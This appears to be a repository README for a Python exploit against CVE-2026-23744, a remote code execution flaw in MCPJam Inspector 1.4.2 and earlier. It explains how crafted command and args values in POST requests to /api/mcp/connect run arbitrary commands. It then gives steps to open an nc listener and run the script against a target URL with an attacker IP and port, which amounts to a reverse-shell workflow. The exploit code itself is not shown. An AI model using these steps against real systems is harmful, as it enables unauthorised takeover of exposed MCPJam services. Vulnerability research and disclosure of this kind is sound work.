srginebras/cve-2026-23744-rce-for-mcpjam-inspector-v1.4.2Python exploit for CVE-2026-23744 achieving remote code execution via crafted POST requests to the /api/mcp/connect endpoint in MCPJam Inspector <= 1.4.2.
A critical RCE vulnerability in MCPJam Inspector <= 1.4.2 is possible when the /api/mcp/connect endpoint listens on all network interfaces (0.0.0.0) by default and fails to properly sanitize user-supplied input passed to the command and args parameters in the serverConfig JSON object.
An attacker can exploit this vulnerability by sending a crafted POST request to /api/mcp/connect, achieving arbitrary command execution on the target system with the privileges of the MCPJam service.
1.Install dependencies
pip install request
2.Start a listener with nc
sudo nc -lvnp <port>
3.Start the exploit
python3 CVE-2026-23744.py -u <url> -i <attacker-ip> -p <attacker-port>
4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^c
Example
